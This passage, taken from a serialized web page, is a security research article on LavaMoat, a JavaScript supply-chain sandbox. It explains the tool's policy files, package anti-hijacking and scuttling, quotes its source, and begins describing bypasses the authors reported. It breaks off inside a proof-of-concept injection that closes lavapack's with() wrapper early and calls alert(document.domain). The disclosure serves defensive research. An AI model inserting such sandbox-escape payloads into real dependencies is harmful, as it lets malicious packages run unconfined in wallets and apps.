",{"type":23,"tag":36,"props":47109,"children":47112},{"href":47110,"rel":47111},"https://www.bleepingcomputer.com/news/security/ledger-dapp-supply-chain-attack-steals-600k-from-crypto-wallets/",[40],[47113],{"type":28,"value":47114},"increasingly popular in Web3",{"type":28,"value":47116},". In response, Lavamoat has emerged as a robust defense mechanism against supply chain attacks, offering sophisticated isolation and access control features. These help ensure that malicious dependencies cannot execute harmful code.",{"type":23,"tag":24,"props":47118,"children":47119},{},[47120],{"type":28,"value":47121},"In this article, we will explore how each component of Lavamoat works, and dive into the various bypasses we reported.",{"type":23,"tag":9693,"props":47123,"children":47124},{"id":29072},[47125],{"type":28,"value":29075},{"type":23,"tag":24,"props":47127,"children":47128},{},[47129],{"type":28,"value":47130},"It is important to note that there are three different versions of LavaMoat:",{"type":23,"tag":131,"props":47132,"children":47133},{},[47134,47146,47158],{"type":23,"tag":135,"props":47135,"children":47136},{},[47137,47144],{"type":23,"tag":36,"props":47138,"children":47141},{"href":47139,"rel":47140},"https://github.com/LavaMoat/LavaMoat/tree/f3e53c8c44f063f000adc620b0aa3f7a41dda5c6/packages/browserify",[40],[47142],{"type":28,"value":47143},"Lavamoat Browserify",{"type":28,"value":47145}," serves as a bundle packer. This helps organize and package JavaScript code for frontend deployment.",{"type":23,"tag":135,"props":47147,"children":47148},{},[47149,47156],{"type":23,"tag":36,"props":47150,"children":47153},{"href":47151,"rel":47152},"https://github.com/LavaMoat/LavaMoat/tree/f3e53c8c44f063f000adc620b0aa3f7a41dda5c6/packages/node",[40],[47154],{"type":28,"value":47155},"NodeJS Lavamoat",{"type":28,"value":47157}," is a variant of Lavamoat tailored specifically for Node.js environments.",{"type":23,"tag":135,"props":47159,"children":47160},{},[47161,47168],{"type":23,"tag":36,"props":47162,"children":47165},{"href":47163,"rel":47164},"https://github.com/LavaMoat/LavaMoat/tree/f3e53c8c44f063f000adc620b0aa3f7a41dda5c6/packages/allow-scripts",[40],[47166],{"type":28,"value":47167},"Lavamoat allow-scripts",{"type":28,"value":47169}," are used to prevent malicious code execution on lifecycle scripts.",{"type":23,"tag":9693,"props":47171,"children":47173},{"id":47172},"lavamoats-security-features",[47174],{"type":28,"value":47175},"Lavamoat's Security Features",{"type":23,"tag":24,"props":47177,"children":47178},{},[47179,47181,47189],{"type":28,"value":47180},"The three most important features of Lavamoat",{"type":23,"tag":15533,"props":47182,"children":47183},{},[47184],{"type":23,"tag":36,"props":47185,"children":47187},{"href":29679,"ariaDescribedBy":47186,"dataFootnoteRef":7,"id":29681},[15540],[47188],{"type":28,"value":4106},{"type":28,"value":47190}," are:",{"type":23,"tag":168,"props":47192,"children":47193},{},[47194,47199,47204],{"type":23,"tag":135,"props":47195,"children":47196},{},[47197],{"type":28,"value":47198},"Policy Files",{"type":23,"tag":135,"props":47200,"children":47201},{},[47202],{"type":28,"value":47203},"NPM Anti Hijacking",{"type":23,"tag":135,"props":47205,"children":47206},{},[47207],{"type":28,"value":47208},"Scuttling",{"type":23,"tag":24,"props":47210,"children":47211},{},[47212],{"type":28,"value":47213},"Let's go over them one by one.",{"type":23,"tag":18945,"props":47215,"children":47217},{"id":47216},"policy-files",[47218],{"type":28,"value":47198},{"type":23,"tag":24,"props":47220,"children":47221},{},[47222],{"type":28,"value":47223},"Policy files are one important feature of Lavamoat, as they limit access to the potentially dangeorus platform API and Globals.",{"type":23,"tag":24,"props":47225,"children":47226},{},[47227,47229,47236],{"type":28,"value":47228},"For example, take the ",{"type":23,"tag":36,"props":47230,"children":47233},{"href":47231,"rel":47232},"https://github.com/MetaMask/snaps/blob/c5ddd897734f900f459c66a91f3334e76903825c/packages/snaps-execution-environments/lavamoat/browserify/iframe/policy.json#L77",[40],[47234],{"type":28,"value":47235},"Metamask Snap policy file",{"type":28,"value":277},{"type":23,"tag":202,"props":47238,"children":47240},{"className":31419,"code":47239,"language":31421,"meta":7,"style":7}," \"@metamask/providers\": {\n \"globals\": {\n \"Event\": true,\n \"addEventListener\": true,\n \"chrome.runtime.connect\": true,\n \"console\": true,\n \"dispatchEvent\": true,\n \"document.createElement\": true,\n \"document.readyState\": true,\n \"ethereum\": \"write\",\n \"location.hostname\": true,\n \"removeEventListener\": true,\n \"web3\": true\n },\n \"packages\": {\n \"@metamask/object-multiplex\": true,\n \"@metamask/providers>@metamask/safe-event-emitter\": true\n",[47241],{"type":23,"tag":209,"props":47242,"children":47243},{"__ignoreMap":7},[47244,47256,47271,47291,47310,47330,47350,47370,47390,47410,47431,47451,47470,47486,47493,47508,47528],{"type":23,"tag":213,"props":47245,"children":47246},{"class":215,"line":216},[47247,47252],{"type":23,"tag":213,"props":47248,"children":47249},{"style":246},[47250],{"type":28,"value":47251}," \"@metamask/providers\"",{"type":23,"tag":213,"props":47253,"children":47254},{"style":220},[47255],{"type":28,"value":37080},{"type":23,"tag":213,"props":47257,"children":47258},{"class":215,"line":226},[47259,47263,47267],{"type":23,"tag":213,"props":47260,"children":47261},{"style":246},[47262],{"type":28,"value":37088},{"type":23,"tag":213,"props":47264,"children":47265},{"style":268},[47266],{"type":28,"value":277},{"type":23,"tag":213,"props":47268,"children":47269},{"style":220},[47270],{"type":28,"value":1375},{"type":23,"tag":213,"props":47272,"children":47273},{"class":215,"line":524},[47274,47279,47283,47287],{"type":23,"tag":213,"props":47275,"children":47276},{"style":246},[47277],{"type":28,"value":47278}," \"Event\"",{"type":23,"tag":213,"props":47280,"children":47281},{"style":268},[47282],{"type":28,"value":277},{"type":23,"tag":213,"props":47284,"children":47285},{"style":230},[47286],{"type":28,"value":12551},{"type":23,"tag":213,"props":47288,"children":47289},{"style":220},[47290],{"type":28,"value":944},{"type":23,"tag":213,"props":47292,"children":47293},{"class":215,"line":533},[47294,47298,47302,47306],{"type":23,"tag":213,"props":47295,"children":47296},{"style":246},[47297],{"type":28,"value":37140},{"type":23,"tag":213,"props":47299,"children":47300},{"style":268},[47301],{"type":28,"value":277},{"type":23,"tag":213,"props":47303,"children":47304},{"style":230},[47305],{"type":28,"value":12551},{"type":23,"tag":213,"props":47307,"children":47308},{"style":220},[47309],{"type":28,"value":944},{"type":23,"tag":213,"props":47311,"children":47312},{"class":215,"line":543},[47313,47318,47322,47326],{"type":23,"tag":213,"props":47314,"children":47315},{"style":246},[47316],{"type":28,"value":47317}," \"chrome.runtime.connect\"",{"type":23,"tag":213,"props":47319,"children":47320},{"style":268},[47321],{"type":28,"value":277},{"type":23,"tag":213,"props":47323,"children":47324},{"style":230},[47325],{"type":28,"value":12551},{"type":23,"tag":213,"props":47327,"children":47328},{"style":220},[47329],{"type":28,"value":944},{"type":23,"tag":213,"props":47331,"children":47332},{"class":215,"line":551},[47333,47338,47342,47346],{"type":23,"tag":213,"props":47334,"children":47335},{"style":246},[47336],{"type":28,"value":47337}," \"console\"",{"type":23,"tag":213,"props":47339,"children":47340},{"style":268},[47341],{"type":28,"value":277},{"type":23,"tag":213,"props":47343,"children":47344},{"style":230},[47345],{"type":28,"value":12551},{"type":23,"tag":213,"props":47347,"children":47348},{"style":220},[47349],{"type":28,"value":944},{"type":23,"tag":213,"props":47351,"children":47352},{"class":215,"line":570},[47353,47358,47362,47366],{"type":23,"tag":213,"props":47354,"children":47355},{"style":246},[47356],{"type":28,"value":47357}," \"dispatchEvent\"",{"type":23,"tag":213,"props":47359,"children":47360},{"style":268},[47361],{"type":28,"value":277},{"type":23,"tag":213,"props":47363,"children":47364},{"style":230},[47365],{"type":28,"value":12551},{"type":23,"tag":213,"props":47367,"children":47368},{"style":220},[47369],{"type":28,"value":944},{"type":23,"tag":213,"props":47371,"children":47372},{"class":215,"line":655},[47373,47378,47382,47386],{"type":23,"tag":213,"props":47374,"children":47375},{"style":246},[47376],{"type":28,"value":47377}," \"document.createElement\"",{"type":23,"tag":213,"props":47379,"children":47380},{"style":268},[47381],{"type":28,"value":277},{"type":23,"tag":213,"props":47383,"children":47384},{"style":230},[47385],{"type":28,"value":12551},{"type":23,"tag":213,"props":47387,"children":47388},{"style":220},[47389],{"type":28,"value":944},{"type":23,"tag":213,"props":47391,"children":47392},{"class":215,"line":1176},[47393,47398,47402,47406],{"type":23,"tag":213,"props":47394,"children":47395},{"style":246},[47396],{"type":28,"value":47397}," \"document.readyState\"",{"type":23,"tag":213,"props":47399,"children":47400},{"style":268},[47401],{"type":28,"value":277},{"type":23,"tag":213,"props":47403,"children":47404},{"style":230},[47405],{"type":28,"value":12551},{"type":23,"tag":213,"props":47407,"children":47408},{"style":220},[47409],{"type":28,"value":944},{"type":23,"tag":213,"props":47411,"children":47412},{"class":215,"line":1202},[47413,47418,47422,47427],{"type":23,"tag":213,"props":47414,"children":47415},{"style":246},[47416],{"type":28,"value":47417}," \"ethereum\"",{"type":23,"tag":213,"props":47419,"children":47420},{"style":268},[47421],{"type":28,"value":277},{"type":23,"tag":213,"props":47423,"children":47424},{"style":246},[47425],{"type":28,"value":47426}," \"write\"",{"type":23,"tag":213,"props":47428,"children":47429},{"style":220},[47430],{"type":28,"value":944},{"type":23,"tag":213,"props":47432,"children":47433},{"class":215,"line":1758},[47434,47439,47443,47447],{"type":23,"tag":213,"props":47435,"children":47436},{"style":246},[47437],{"type":28,"value":47438}," \"location.hostname\"",{"type":23,"tag":213,"props":47440,"children":47441},{"style":268},[47442],{"type":28,"value":277},{"type":23,"tag":213,"props":47444,"children":47445},{"style":230},[47446],{"type":28,"value":12551},{"type":23,"tag":213,"props":47448,"children":47449},{"style":220},[47450],{"type":28,"value":944},{"type":23,"tag":213,"props":47452,"children":47453},{"class":215,"line":1767},[47454,47458,47462,47466],{"type":23,"tag":213,"props":47455,"children":47456},{"style":246},[47457],{"type":28,"value":37240},{"type":23,"tag":213,"props":47459,"children":47460},{"style":268},[47461],{"type":28,"value":277},{"type":23,"tag":213,"props":47463,"children":47464},{"style":230},[47465],{"type":28,"value":12551},{"type":23,"tag":213,"props":47467,"children":47468},{"style":220},[47469],{"type":28,"value":944},{"type":23,"tag":213,"props":47471,"children":47472},{"class":215,"line":1789},[47473,47478,47482],{"type":23,"tag":213,"props":47474,"children":47475},{"style":246},[47476],{"type":28,"value":47477}," \"web3\"",{"type":23,"tag":213,"props":47479,"children":47480},{"style":268},[47481],{"type":28,"value":277},{"type":23,"tag":213,"props":47483,"children":47484},{"style":230},[47485],{"type":28,"value":46600},{"type":23,"tag":213,"props":47487,"children":47488},{"class":215,"line":1812},[47489],{"type":23,"tag":213,"props":47490,"children":47491},{"style":220},[47492],{"type":28,"value":37257},{"type":23,"tag":213,"props":47494,"children":47495},{"class":215,"line":1838},[47496,47500,47504],{"type":23,"tag":213,"props":47497,"children":47498},{"style":246},[47499],{"type":28,"value":37265},{"type":23,"tag":213,"props":47501,"children":47502},{"style":268},[47503],{"type":28,"value":277},{"type":23,"tag":213,"props":47505,"children":47506},{"style":220},[47507],{"type":28,"value":1375},{"type":23,"tag":213,"props":47509,"children":47510},{"class":215,"line":1851},[47511,47516,47520,47524],{"type":23,"tag":213,"props":47512,"children":47513},{"style":246},[47514],{"type":28,"value":47515}," \"@metamask/object-multiplex\"",{"type":23,"tag":213,"props":47517,"children":47518},{"style":268},[47519],{"type":28,"value":277},{"type":23,"tag":213,"props":47521,"children":47522},{"style":230},[47523],{"type":28,"value":12551},{"type":23,"tag":213,"props":47525,"children":47526},{"style":220},[47527],{"type":28,"value":944},{"type":23,"tag":213,"props":47529,"children":47530},{"class":215,"line":1864},[47531,47536,47540],{"type":23,"tag":213,"props":47532,"children":47533},{"style":246},[47534],{"type":28,"value":47535}," \"@metamask/providers>@metamask/safe-event-emitter\"",{"type":23,"tag":213,"props":47537,"children":47538},{"style":268},[47539],{"type":28,"value":277},{"type":23,"tag":213,"props":47541,"children":47542},{"style":230},[47543],{"type":28,"value":46600},{"type":23,"tag":24,"props":47545,"children":47546},{},[47547,47548,47553,47555,47560,47562,47568],{"type":28,"value":2623},{"type":23,"tag":209,"props":47549,"children":47551},{"className":47550},[],[47552],{"type":28,"value":37330},{"type":28,"value":47554}," section in a LavaMoat policy specifies which global variables and properties a module can access, setting permissions for its global scope interactions. Similarly, the ",{"type":23,"tag":209,"props":47556,"children":47558},{"className":47557},[],[47559],{"type":28,"value":37338},{"type":28,"value":47561}," section outlines the module's dependencies and the permissions or trust relationships with those dependencies. This defines how ",{"type":23,"tag":209,"props":47563,"children":47565},{"className":47564},[],[47566],{"type":28,"value":47567},"@metamask/providers",{"type":28,"value":47569}," interacts with other packages.",{"type":23,"tag":24,"props":47571,"children":47572},{},[47573,47575,47581],{"type":28,"value":47574},"To enforce these policies, LavaMoat uses ",{"type":23,"tag":209,"props":47576,"children":47578},{"className":47577},[],[47579],{"type":28,"value":47580},"lavapack",{"type":28,"value":47582},", a custom webpack that wraps ever dependency and applies the specified rules independently.",{"type":23,"tag":18945,"props":47584,"children":47586},{"id":47585},"npm-anti-hijacking",[47587],{"type":28,"value":47203},{"type":23,"tag":24,"props":47589,"children":47590},{},[47591],{"type":28,"value":47592},"One important note is that Lavamoat can't rely solely on the names of the packages as they are published on NPM. Otherwise, a malicious actor could create a package with the same name as a popular, trusted package.",{"type":23,"tag":24,"props":47594,"children":47595},{},[47596,47598,47605],{"type":28,"value":47597},"Instead, Lavamoat looks at how each package is connected by ",{"type":23,"tag":36,"props":47599,"children":47602},{"href":47600,"rel":47601},"https://github.com/LavaMoat/LavaMoat/blob/f3e53c8c44f063f000adc620b0aa3f7a41dda5c6/packages/core/src/walk.js#L22",[40],[47603],{"type":28,"value":47604},"walking the modules",{"type":28,"value":47606}," in a project's dependency tree, thus generating a unique name for each package.",{"type":23,"tag":18945,"props":47608,"children":47610},{"id":47609},"scuttling",[47611],{"type":28,"value":47208},{"type":23,"tag":24,"props":47613,"children":47614},{},[47615,47617,47623],{"type":28,"value":47616},"Scuttling is an optional feature that adds an extra layer of protection. Even if the real ",{"type":23,"tag":209,"props":47618,"children":47620},{"className":47619},[],[47621],{"type":28,"value":47622},"GlobalThis",{"type":28,"value":47624}," object is leaked by an attacker or accessed through a malicious package manager, scuttling removes sensitive APIs, preventing malicious requests from being executed.",{"type":23,"tag":24,"props":47626,"children":47627},{},[47628,47630,47637],{"type":28,"value":47629},"For example, ",{"type":23,"tag":36,"props":47631,"children":47634},{"href":47632,"rel":47633},"https://github.com/LavaMoat/LavaMoat/blob/f3e53c8c44f063f000adc620b0aa3f7a41dda5c6/packages/core/src/scuttle.js#L57",[40],[47635],{"type":28,"value":47636},"here",{"type":28,"value":47638}," we see how Lavamoat checks if the feature is enabled after the root package compartment is created:",{"type":23,"tag":202,"props":47640,"children":47642},{"className":31419,"code":47641,"language":31421,"meta":7,"style":7}," if (scuttleOpts.enabled) {\n if (!Array.isArray(scuttleOpts.exceptions)) {\n throw new Error(`LavaMoat - scuttleGlobalThis.exceptions must be an array, got \"${typeof scuttleOpts.exceptions}\"`)\n }\n scuttleOpts.scuttlerFunc(globalRef, realm => performScuttleGlobalThis(realm, scuttleOpts.exceptions))\n }\n",[47643],{"type":23,"tag":209,"props":47644,"children":47645},{"__ignoreMap":7},[47646,47675,47725,47784,47791,47863],{"type":23,"tag":213,"props":47647,"children":47648},{"class":215,"line":216},[47649,47653,47657,47662,47666,47671],{"type":23,"tag":213,"props":47650,"children":47651},{"style":1362},[47652],{"type":28,"value":2653},{"type":23,"tag":213,"props":47654,"children":47655},{"style":220},[47656],{"type":28,"value":400},{"type":23,"tag":213,"props":47658,"children":47659},{"style":268},[47660],{"type":28,"value":47661},"scuttleOpts",{"type":23,"tag":213,"props":47663,"children":47664},{"style":220},[47665],{"type":28,"value":124},{"type":23,"tag":213,"props":47667,"children":47668},{"style":268},[47669],{"type":28,"value":47670},"enabled",{"type":23,"tag":213,"props":47672,"children":47673},{"style":220},[47674],{"type":28,"value":14870},{"type":23,"tag":213,"props":47676,"children":47677},{"class":215,"line":226},[47678,47682,47686,47690,47695,47699,47704,47708,47712,47716,47721],{"type":23,"tag":213,"props":47679,"children":47680},{"style":1362},[47681],{"type":28,"value":39344},{"type":23,"tag":213,"props":47683,"children":47684},{"style":220},[47685],{"type":28,"value":400},{"type":23,"tag":213,"props":47687,"children":47688},{"style":274},[47689],{"type":28,"value":20675},{"type":23,"tag":213,"props":47691,"children":47692},{"style":268},[47693],{"type":28,"value":47694},"Array",{"type":23,"tag":213,"props":47696,"children":47697},{"style":220},[47698],{"type":28,"value":124},{"type":23,"tag":213,"props":47700,"children":47701},{"style":257},[47702],{"type":28,"value":47703},"isArray",{"type":23,"tag":213,"props":47705,"children":47706},{"style":220},[47707],{"type":28,"value":265},{"type":23,"tag":213,"props":47709,"children":47710},{"style":268},[47711],{"type":28,"value":47661},{"type":23,"tag":213,"props":47713,"children":47714},{"style":220},[47715],{"type":28,"value":124},{"type":23,"tag":213,"props":47717,"children":47718},{"style":268},[47719],{"type":28,"value":47720},"exceptions",{"type":23,"tag":213,"props":47722,"children":47723},{"style":220},[47724],{"type":28,"value":35251},{"type":23,"tag":213,"props":47726,"children":47727},{"class":215,"line":524},[47728,47733,47737,47741,47745,47750,47754,47758,47763,47767,47771,47775,47780],{"type":23,"tag":213,"props":47729,"children":47730},{"style":1362},[47731],{"type":28,"value":47732}," throw",{"type":23,"tag":213,"props":47734,"children":47735},{"style":230},[47736],{"type":28,"value":31989},{"type":23,"tag":213,"props":47738,"children":47739},{"style":257},[47740],{"type":28,"value":40341},{"type":23,"tag":213,"props":47742,"children":47743},{"style":220},[47744],{"type":28,"value":265},{"type":23,"tag":213,"props":47746,"children":47747},{"style":246},[47748],{"type":28,"value":47749},"`LavaMoat - scuttleGlobalThis.exceptions must be an array, got \"",{"type":23,"tag":213,"props":47751,"children":47752},{"style":230},[47753],{"type":28,"value":34165},{"type":23,"tag":213,"props":47755,"children":47756},{"style":230},[47757],{"type":28,"value":31459},{"type":23,"tag":213,"props":47759,"children":47760},{"style":268},[47761],{"type":28,"value":47762}," scuttleOpts",{"type":23,"tag":213,"props":47764,"children":47765},{"style":274},[47766],{"type":28,"value":124},{"type":23,"tag":213,"props":47768,"children":47769},{"style":268},[47770],{"type":28,"value":47720},{"type":23,"tag":213,"props":47772,"children":47773},{"style":230},[47774],{"type":28,"value":34197},{"type":23,"tag":213,"props":47776,"children":47777},{"style":246},[47778],{"type":28,"value":47779},"\"`",{"type":23,"tag":213,"props":47781,"children":47782},{"style":220},[47783],{"type":28,"value":2183},{"type":23,"tag":213,"props":47785,"children":47786},{"class":215,"line":533},[47787],{"type":23,"tag":213,"props":47788,"children":47789},{"style":220},[47790],{"type":28,"value":12746},{"type":23,"tag":213,"props":47792,"children":47793},{"class":215,"line":543},[47794,47799,47803,47808,47812,47817,47821,47826,47830,47835,47839,47843,47847,47851,47855,47859],{"type":23,"tag":213,"props":47795,"children":47796},{"style":268},[47797],{"type":28,"value":47798}," scuttleOpts",{"type":23,"tag":213,"props":47800,"children":47801},{"style":220},[47802],{"type":28,"value":124},{"type":23,"tag":213,"props":47804,"children":47805},{"style":257},[47806],{"type":28,"value":47807},"scuttlerFunc",{"type":23,"tag":213,"props":47809,"children":47810},{"style":220},[47811],{"type":28,"value":265},{"type":23,"tag":213,"props":47813,"children":47814},{"style":268},[47815],{"type":28,"value":47816},"globalRef",{"type":23,"tag":213,"props":47818,"children":47819},{"style":220},[47820],{"type":28,"value":424},{"type":23,"tag":213,"props":47822,"children":47823},{"style":268},[47824],{"type":28,"value":47825},"realm",{"type":23,"tag":213,"props":47827,"children":47828},{"style":230},[47829],{"type":28,"value":27808},{"type":23,"tag":213,"props":47831,"children":47832},{"style":257},[47833],{"type":28,"value":47834}," performScuttleGlobalThis",{"type":23,"tag":213,"props":47836,"children":47837},{"style":220},[47838],{"type":28,"value":265},{"type":23,"tag":213,"props":47840,"children":47841},{"style":268},[47842],{"type":28,"value":47825},{"type":23,"tag":213,"props":47844,"children":47845},{"style":220},[47846],{"type":28,"value":424},{"type":23,"tag":213,"props":47848,"children":47849},{"style":268},[47850],{"type":28,"value":47661},{"type":23,"tag":213,"props":47852,"children":47853},{"style":220},[47854],{"type":28,"value":124},{"type":23,"tag":213,"props":47856,"children":47857},{"style":268},[47858],{"type":28,"value":47720},{"type":23,"tag":213,"props":47860,"children":47861},{"style":220},[47862],{"type":28,"value":19766},{"type":23,"tag":213,"props":47864,"children":47865},{"class":215,"line":551},[47866],{"type":23,"tag":213,"props":47867,"children":47868},{"style":220},[47869],{"type":28,"value":2875},{"type":23,"tag":24,"props":47871,"children":47872},{},[47873,47875,47881,47883,47889],{"type":28,"value":47874},"Subsequently, the code defines a ",{"type":23,"tag":36,"props":47876,"children":47879},{"href":47877,"rel":47878},"https://github.com/LavaMoat/LavaMoat/blob/f3e53c8c44f063f000adc620b0aa3f7a41dda5c6/packages/core/src/scuttle.js#L74",[40],[47880],{"type":28,"value":31433},{"type":28,"value":47882}," called ",{"type":23,"tag":209,"props":47884,"children":47886},{"className":47885},[],[47887],{"type":28,"value":47888},"generateScuttleOpts",{"type":28,"value":47890}," that creates and returns an options object.",{"type":23,"tag":24,"props":47892,"children":47893},{},[47894,47896,47902,47903,47909,47911,47916,47918,47924],{"type":28,"value":47895},"Finally, the ",{"type":23,"tag":209,"props":47897,"children":47899},{"className":47898},[],[47900],{"type":28,"value":47901},"performScuttleGlobalThis",{"type":28,"value":6550},{"type":23,"tag":36,"props":47904,"children":47907},{"href":47905,"rel":47906},"https://github.com/LavaMoat/LavaMoat/blob/f3e53c8c44f063f000adc620b0aa3f7a41dda5c6/packages/core/src/scuttle.js#L125",[40],[47908],{"type":28,"value":31433},{"type":28,"value":47910}," modifies the properties of the global object (",{"type":23,"tag":209,"props":47912,"children":47914},{"className":47913},[],[47915],{"type":28,"value":47816},{"type":28,"value":47917},"). It starts by creating an array ",{"type":23,"tag":209,"props":47919,"children":47921},{"className":47920},[],[47922],{"type":28,"value":47923},"props",{"type":28,"value":47925},", containing the names of all properties in the prototype chain of globalRef. Then, an empty object is then created to serve as a proxy for scuttled properties. The function then iterates over each property, making changes to the global window object based on the provided configuration.",{"type":23,"tag":47,"props":47927,"children":47929},{"id":47928},"hacking-webpacks",[47930],{"type":28,"value":47931},"Hacking Webpacks",{"type":23,"tag":24,"props":47933,"children":47934},{},[47935],{"type":28,"value":47936},"Now let's get to the fun stuff.",{"type":23,"tag":24,"props":47938,"children":47939},{},[47940],{"type":28,"value":47941},"Webpack is used to bundle all modules and packages into a single file. It inserts all the code of these modules into the bundle file. Checking Lavapack source code, we can see how this actually happens.",{"type":23,"tag":202,"props":47943,"children":47945},{"className":31419,"code":47944,"language":31421,"meta":7,"style":7}," const filename = encodeURI(String(moduleData.file))\n let moduleWrapperSource\n if (bundleWithPrecompiledModules) {\n moduleWrapperSource = `function(){\n with (this.scopeTerminator) {\n with (this.globalThis) {\n return function() {\n 'use strict';\n // source: ${filename}\n return function (require, module, exports) {\n __MODULE_CONTENT__\n };\n };\n }\n }\n }`\n",[47946],{"type":23,"tag":209,"props":47947,"children":47948},{"__ignoreMap":7},[47949,48001,48013,48033,48050,48058,48066,48074,48082,48103,48111,48119,48127,48134,48141,48148],{"type":23,"tag":213,"props":47950,"children":47951},{"class":215,"line":216},[47952,47956,47961,47965,47970,47974,47979,47983,47988,47992,47997],{"type":23,"tag":213,"props":47953,"children":47954},{"style":230},[47955],{"type":28,"value":36246},{"type":23,"tag":213,"props":47957,"children":47958},{"style":268},[47959],{"type":28,"value":47960}," filename",{"type":23,"tag":213,"props":47962,"children":47963},{"style":274},[47964],{"type":28,"value":511},{"type":23,"tag":213,"props":47966,"children":47967},{"style":257},[47968],{"type":28,"value":47969}," encodeURI",{"type":23,"tag":213,"props":47971,"children":47972},{"style":220},[47973],{"type":28,"value":265},{"type":23,"tag":213,"props":47975,"children":47976},{"style":257},[47977],{"type":28,"value":47978},"String",{"type":23,"tag":213,"props":47980,"children":47981},{"style":220},[47982],{"type":28,"value":265},{"type":23,"tag":213,"props":47984,"children":47985},{"style":268},[47986],{"type":28,"value":47987},"moduleData",{"type":23,"tag":213,"props":47989,"children":47990},{"style":220},[47991],{"type":28,"value":124},{"type":23,"tag":213,"props":47993,"children":47994},{"style":268},[47995],{"type":28,"value":47996},"file",{"type":23,"tag":213,"props":47998,"children":47999},{"style":220},[48000],{"type":28,"value":19766},{"type":23,"tag":213,"props":48002,"children":48003},{"class":215,"line":226},[48004,48008],{"type":23,"tag":213,"props":48005,"children":48006},{"style":230},[48007],{"type":28,"value":7943},{"type":23,"tag":213,"props":48009,"children":48010},{"style":268},[48011],{"type":28,"value":48012}," moduleWrapperSource\n",{"type":23,"tag":213,"props":48014,"children":48015},{"class":215,"line":524},[48016,48020,48024,48029],{"type":23,"tag":213,"props":48017,"children":48018},{"style":1362},[48019],{"type":28,"value":31450},{"type":23,"tag":213,"props":48021,"children":48022},{"style":220},[48023],{"type":28,"value":400},{"type":23,"tag":213,"props":48025,"children":48026},{"style":268},[48027],{"type":28,"value":48028},"bundleWithPrecompiledModules",{"type":23,"tag":213,"props":48030,"children":48031},{"style":220},[48032],{"type":28,"value":14870},{"type":23,"tag":213,"props":48034,"children":48035},{"class":215,"line":533},[48036,48041,48045],{"type":23,"tag":213,"props":48037,"children":48038},{"style":268},[48039],{"type":28,"value":48040}," moduleWrapperSource",{"type":23,"tag":213,"props":48042,"children":48043},{"style":274},[48044],{"type":28,"value":511},{"type":23,"tag":213,"props":48046,"children":48047},{"style":246},[48048],{"type":28,"value":48049}," `function(){\n",{"type":23,"tag":213,"props":48051,"children":48052},{"class":215,"line":543},[48053],{"type":23,"tag":213,"props":48054,"children":48055},{"style":246},[48056],{"type":28,"value":48057}," with (this.scopeTerminator) {\n",{"type":23,"tag":213,"props":48059,"children":48060},{"class":215,"line":551},[48061],{"type":23,"tag":213,"props":48062,"children":48063},{"style":246},[48064],{"type":28,"value":48065}," with (this.globalThis) {\n",{"type":23,"tag":213,"props":48067,"children":48068},{"class":215,"line":570},[48069],{"type":23,"tag":213,"props":48070,"children":48071},{"style":246},[48072],{"type":28,"value":48073}," return function() {\n",{"type":23,"tag":213,"props":48075,"children":48076},{"class":215,"line":655},[48077],{"type":23,"tag":213,"props":48078,"children":48079},{"style":246},[48080],{"type":28,"value":48081}," 'use strict';\n",{"type":23,"tag":213,"props":48083,"children":48084},{"class":215,"line":1176},[48085,48090,48094,48099],{"type":23,"tag":213,"props":48086,"children":48087},{"style":246},[48088],{"type":28,"value":48089}," // source: ",{"type":23,"tag":213,"props":48091,"children":48092},{"style":230},[48093],{"type":28,"value":34165},{"type":23,"tag":213,"props":48095,"children":48096},{"style":268},[48097],{"type":28,"value":48098},"filename",{"type":23,"tag":213,"props":48100,"children":48101},{"style":230},[48102],{"type":28,"value":1208},{"type":23,"tag":213,"props":48104,"children":48105},{"class":215,"line":1202},[48106],{"type":23,"tag":213,"props":48107,"children":48108},{"style":246},[48109],{"type":28,"value":48110}," return function (require, module, exports) {\n",{"type":23,"tag":213,"props":48112,"children":48113},{"class":215,"line":1758},[48114],{"type":23,"tag":213,"props":48115,"children":48116},{"style":246},[48117],{"type":28,"value":48118}," __MODULE_CONTENT__\n",{"type":23,"tag":213,"props":48120,"children":48121},{"class":215,"line":1767},[48122],{"type":23,"tag":213,"props":48123,"children":48124},{"style":246},[48125],{"type":28,"value":48126}," };\n",{"type":23,"tag":213,"props":48128,"children":48129},{"class":215,"line":1789},[48130],{"type":23,"tag":213,"props":48131,"children":48132},{"style":246},[48133],{"type":28,"value":8787},{"type":23,"tag":213,"props":48135,"children":48136},{"class":215,"line":1812},[48137],{"type":23,"tag":213,"props":48138,"children":48139},{"style":246},[48140],{"type":28,"value":3444},{"type":23,"tag":213,"props":48142,"children":48143},{"class":215,"line":1838},[48144],{"type":23,"tag":213,"props":48145,"children":48146},{"style":246},[48147],{"type":28,"value":12746},{"type":23,"tag":213,"props":48149,"children":48150},{"class":215,"line":1851},[48151],{"type":23,"tag":213,"props":48152,"children":48153},{"style":246},[48154],{"type":28,"value":48155}," }`\n",{"type":23,"tag":24,"props":48157,"children":48158},{},[48159,48161,48167,48169,48175],{"type":28,"value":48160},"Lavapack uses ",{"type":23,"tag":209,"props":48162,"children":48164},{"className":48163},[],[48165],{"type":28,"value":48166},"with()",{"type":28,"value":48168}," proxies to restrict the objects accessible by the module, and ",{"type":23,"tag":209,"props":48170,"children":48172},{"className":48171},[],[48173],{"type":28,"value":48174},"__MODULE_CONTENT__",{"type":28,"value":48176}," is replaced by the content of a file required by the project being built.",{"type":23,"tag":9693,"props":48178,"children":48180},{"id":48179},"injection-not-so-simple",[48181],{"type":28,"value":48182},"Injection? Not So Simple",{"type":23,"tag":24,"props":48184,"children":48185},{},[48186,48188,48193],{"type":28,"value":48187},"We first tried to inject invalid javascript inside a javascript file, and then attempt to escape the ",{"type":23,"tag":209,"props":48189,"children":48191},{"className":48190},[],[48192],{"type":28,"value":12733},{"type":28,"value":48194}," environment:",{"type":23,"tag":202,"props":48196,"children":48198},{"className":31419,"code":48197,"language":31421,"meta":7,"style":7}," } // end function 1\n } // end function 2\n } // end with 1\n} // end with 2\n\nalert(document.domain)\n",[48199],{"type":23,"tag":209,"props":48200,"children":48201},{"__ignoreMap":7},[48202,48215,48227,48239,48251,48258],{"type":23,"tag":213,"props":48203,"children":48204},{"class":215,"line":216},[48205,48210],{"type":23,"tag":213,"props":48206,"children":48207},{"style":220},[48208],{"type":28,"value":48209}," } ",{"type":23,"tag":213,"props":48211,"children":48212},{"style":537},[48213],{"type":28,"value":48214},"// end function 1\n",{"type":23,"tag":213,"props":48216,"children":48217},{"class":215,"line":226},[48218,48222],{"type":23,"tag":213,"props":48219,"children":48220},{"style":220},[48221],{"type":28,"value":31524},{"type":23,"tag":213,"props":48223,"children":48224},{"style":537},[48225],{"type":28,"value":48226},"// end 